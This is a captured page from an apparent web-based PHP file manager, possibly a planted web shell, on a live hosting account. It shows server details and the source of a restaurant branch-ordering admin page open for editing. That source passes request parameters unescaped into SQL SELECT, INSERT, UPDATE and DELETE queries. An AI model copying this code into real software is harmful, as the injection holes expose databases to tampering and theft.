Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/cheatday.store/public_html/main/branch

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: addOrderIngredient.php

<?php
include("header.php");
include("topnav.php");

$b_order_id = $_GET['id'];

$get_record = mysqli_query($online, "select * from branch_order where b_order_id ='$b_order_id'");
$row = mysqli_fetch_assoc($get_record);

$db_id = $row['b_order_id'];
$db_order_num = $row['order_num'];

if (isset($_POST['add'])) {

$quantity = $_POST['quantity'];
    $unit = $_POST['unit'];
    $ingredient_id = $_POST['ingredient_id'];

$get_bar = mysqli_query($online, "SELECT * FROM `order_item` where ingredient_id ='$ingredient_id' and b_order_id = '$b_order_id'");
    $row = mysqli_num_rows($get_bar);
    if ($row) {
        $_SESSION['status'] = "Item Already Exists!";
        $_SESSION['code'] = "error";
    } else {
        $sql = "INSERT INTO `order_item`(`b_order_id`, `ingredient_id`, `quantity`, `unit`)
     VALUES ('$b_order_id','$ingredient_id','$quantity','$unit')";
        $res = $conn->query($sql);

$_SESSION['status'] = "Data Successfully Added!";
        $_SESSION['code'] = "success";
    }
}

if (isset($_POST['confirm'])) {

$sql = "UPDATE `branch_order` SET `order_status`='Pending' where b_order_id = $b_order_id";
    $res = $conn->query($sql);

$_SESSION['status'] = "Data Successfully Added!";
    $_SESSION['code'] = "success";
    header("location: pendingOrder.php");
}

if (isset($_POST['id'])) {
    $order_item_id = $_POST['id'];

$sql = "DELETE FROM order_item where order_item_id = $order_item_id ";
    $res = $conn->query($sql);

if ($res == TRUE) {
        $_SESSION['status'] = "Data Successfully Deleted";
        $_SESSION['code'] = "info";
    }
}

//END FUNCTION
?>

<nav class="mt-4">
        <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false">

<li class="nav-item">
                <a href="index.php" class="nav-link ">
                    <i class="nav-icon fas fa-tachometer-alt"></i>
                    <p>
                        Dashboard
                        
                    </p>
                </a>
            </li>

<!-- <li class="nav-item">
                <a href="manageBranch.php" class="nav-link ">
                    <i class="fa-solid fa-shop nav-icon"></i>
                    <p>
                        Manage Branch

</p>
                </a>
            </li> -->

<li class="nav-item">
                <a href="manageEmployee.php" class="nav-link ">
                    <i class="fa-solid fa-users nav-icon"></i>
                    <p>
                        Manage Staff
                        
                    </p>
                </a>
            </li>

<li class="nav-item menu-open">
                <a href="#" class="nav-link active">
                    <i class="fa-solid fa-truck-fast nav-icon"></i>
                    <p>
                        Branch Order
                        <i class="right fas fa-angle-left"></i>
                    </p>
                </a>
                <ul class="nav nav-treeview">
                    <li class="nav-item">
                        <a href="order.php" class="nav-link active">
                            <i class="far fa-circle nav-icon"></i>
                            <p> Order</p>
                        </a>
                    </li>
                    <li class="nav-item">
                        <a href="pendingOrder.php" class="nav-link">
                            <i class="far fa-circle nav-icon"></i>
                            <p> Pending Order</p>
                        </a>
                    </li>
                    <li class="nav-item">
                        <a href="approvedOrder.php" class="nav-link">
                            <i class="far fa-circle nav-icon"></i>
                            <p> Approved Order</p>
                        </a>
                    </li>
                    <li class="nav-item">
                        <a href="deliveredOrder.php" class="nav-link">
                            <i class="far fa-circle nav-icon"></i>
                            <p> Delivered Order</p>
                        </a>
                    </li>
                </ul>
            </li>

<li class="nav-item">
                <a href="manageInventory.php" class="nav-link">
                    <i class="fa-solid fa-warehouse nav-icon"></i>
                    <p>
                        Branch Inventory
                        
                    </p>
                </a>
            </li>

<li class="nav-item menu-open">
                <a href="#" class="nav-link">
                    <i class="fa-solid fa-sheet-plastic nav-icon"></i>
                    <p>
                        Reports
                        <i class="right fas fa-angle-left"></i>
                    </p>
                </a>
                <ul class="nav nav-treeview">
                    <li class="nav-item">
                        <a href="manageSales.php" class="nav-link ">
                            <i class="far fa-circle nav-icon"></i>
                            <p> Sales Report</p>
                        </a>
                    </li>
                    <li class="nav-item">
                        <a href="inventReport.php" class="nav-link ">
                            <i class="far fa-circle nav-icon"></i>
                            <p> Inventory Report</p>
                        </a>
                    </li>

<li class="nav-item">
                        <a href="soldReport.php" class="nav-link ">
                            <i class="far fa-circle nav-icon"></i>
                            <p> Sold Report</p>
                        </a>
                    </li>

</ul>
            </li>
        </ul>
    </nav>
    
</div>

</aside>

<div class="content-wrapper">
    
    <div class="content-header">
        <div class="container-fluid">
            <div class="row mb-2">
                <div class="col-sm-6">
                    
                </div>
                <div class="col-sm-6">
                    <ol class="breadcrumb float-sm-right">

</ol>
                </div>
            </div>
        </div>
    </div>

<div class="content">
        <div class="container-fluid">

</div>
            </div>

<div class="card card-outline card-success">
                <div class="card-header">
                    <h3 class="card-title font-weight-bold mt-1">
                        ORDER NUMBER: <u><span class=""> <?php echo $db_order_num; ?></span></u>
                    </h3>

<button class="btn btn-success btn-sm float-right" data-toggle="modal" data-target="#exampleModal"><i class="fa-solid fa-plus"></i> Add Items</button>

</div>

<div class="card-body">
                    <table id="example2" class="table table-bordered table-striped">
                        <thead class="text-white bg-secondary">
                            <tr>
                                <th class="col-2">Quantity</th>
                                <th class="">Unit</th>
                                <th>Item Name</th>
                                <th class=" col-2 text-center">Action</th>
                            </tr>
                        </thead>

<tbody>
                            <?php
                            $sql = "select * from order_item, ingredient where order_item.b_order_id = $b_order_id and order_item.ingredient_id = ingredient.ingredient_id";
                            $res = $online->query($sql);
                            while ($row = $res->fetch_assoc()) {
                            ?>
                                <tr>
                                    <td class=""><?php echo $row['quantity'] ?></td>
                                    <td class=""><?php echo $row['unit'] ?></td>
                                    <td class=""><?php echo $row['ing_name'] ?></td>

<a class="btn btn-sm btn-danger delete" data-id="<?php echo $row['order_item_id']; ?>" onclick="confirmDelete(this);">
                                            <i class="fas fa-trash"></i></a>&nbsp;
                                    </td>
                                </tr>
                            <?php } ?>

</tbody>

</table>

</div>
                <div class="card-footer">
                    <form action="" method="post">
                        <button class="btn bg-primary float-right" name="confirm"><i class="fa-solid fa-check"></i>
                            Finalize
                        </button>
                    </form>
                </div>
                
            </div>

</div>
    </div>
    
</div>

<aside class="control-sidebar control-sidebar-dark">
    
    <div class="p-3">
        <h5>Title</h5>
        <p>Sidebar content</p>
    </div>
</aside>

<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header bg-teal">
                <h5 class="modal-title" id="exampleModalLabel">Add Item</h5>

<button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <div class="modal-body">
                <form action="" method="post">

<div class="form-group">
                        <label class="text-secondary">Ingredient:</label>
                        <select name="ingredient_id" class="form-control" required>
                            <option value="">--- Select Option --- </option>
                            <?php
                            $sql2 = "SELECT * FROM `ingredient` WHERE NOT EXISTS (SELECT * FROM order_item WHERE ingredient.ingredient_id = order_item.ingredient_id and order_item.b_order_id = '$b_order_id')";
                            $res2 = $online->query($sql2);
                            while ($row2 = $res2->fetch_assoc()) {
                            ?>
                                <option value="<?php echo $row2['ingredient_id'] ?>"><?php echo $row2['ing_name'] ?></option>

<?php } ?>
                        </select>
                    </div>

<div class="form-group">
                        <label class="text-secondary">Quantity: </label>
                        <input type="number" class="form-control" name="quantity" required placeholder="Enter Quantity">
                    </div>

<label class="text-secondary">Unit:</label>
                        <select name="unit" id="" class="form-control" required>
                            <option value="">--- Select Unit ---</option>
                            <option value="Gram/s">Gram/s</option>
                            <option value="Piece/s">Piece/s</option>
                            <option value="Kilo/s">Kilo/s</option>
                            <option value="Bottle/s">Bottle/s</option>
                            <option value="Ml/s">Ml/s</option>
                            <option value="Box/es">Box/es</option>
                            <option value="Cup/s">Cup/s</option>
                        </select>
                    </div>

</div>
            <div class="modal-footer">
                <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
                <button type="submit" name="add" class="btn btn-success pl-4 pr-4">Add</button>
            </div>
            </form>
        </div>
    </div>
</div>

<div class="modal fade" id="deleteModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title text-dark font-weight-bold" id="exampleModalLabel">DELETE CONFIRMATION</h5>
                <button class="close" type="button" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">×</span>
                </button>
            </div>
            <div class="modal-body">
                <form method="POST" id="form-delete">

<h6>Are sure you want to Delete this Data?</h6>

</div>
            <div class="modal-footer">
                <button class="btn btn-danger" type="button" data-dismiss="modal">Cancel</button>
                <button type="submit" form="form-delete" class="btn btn-success">Yes. Delete It!</button>
            </div>
            </form>
        </div>
    </div>
</div>

<?php
include("footer.php");
include("alert.php");
?>

document.getElementById("form-delete").id.value = id;
        $("#deleteModal").modal("show");
    }
</script>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: addOrderIngredient.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation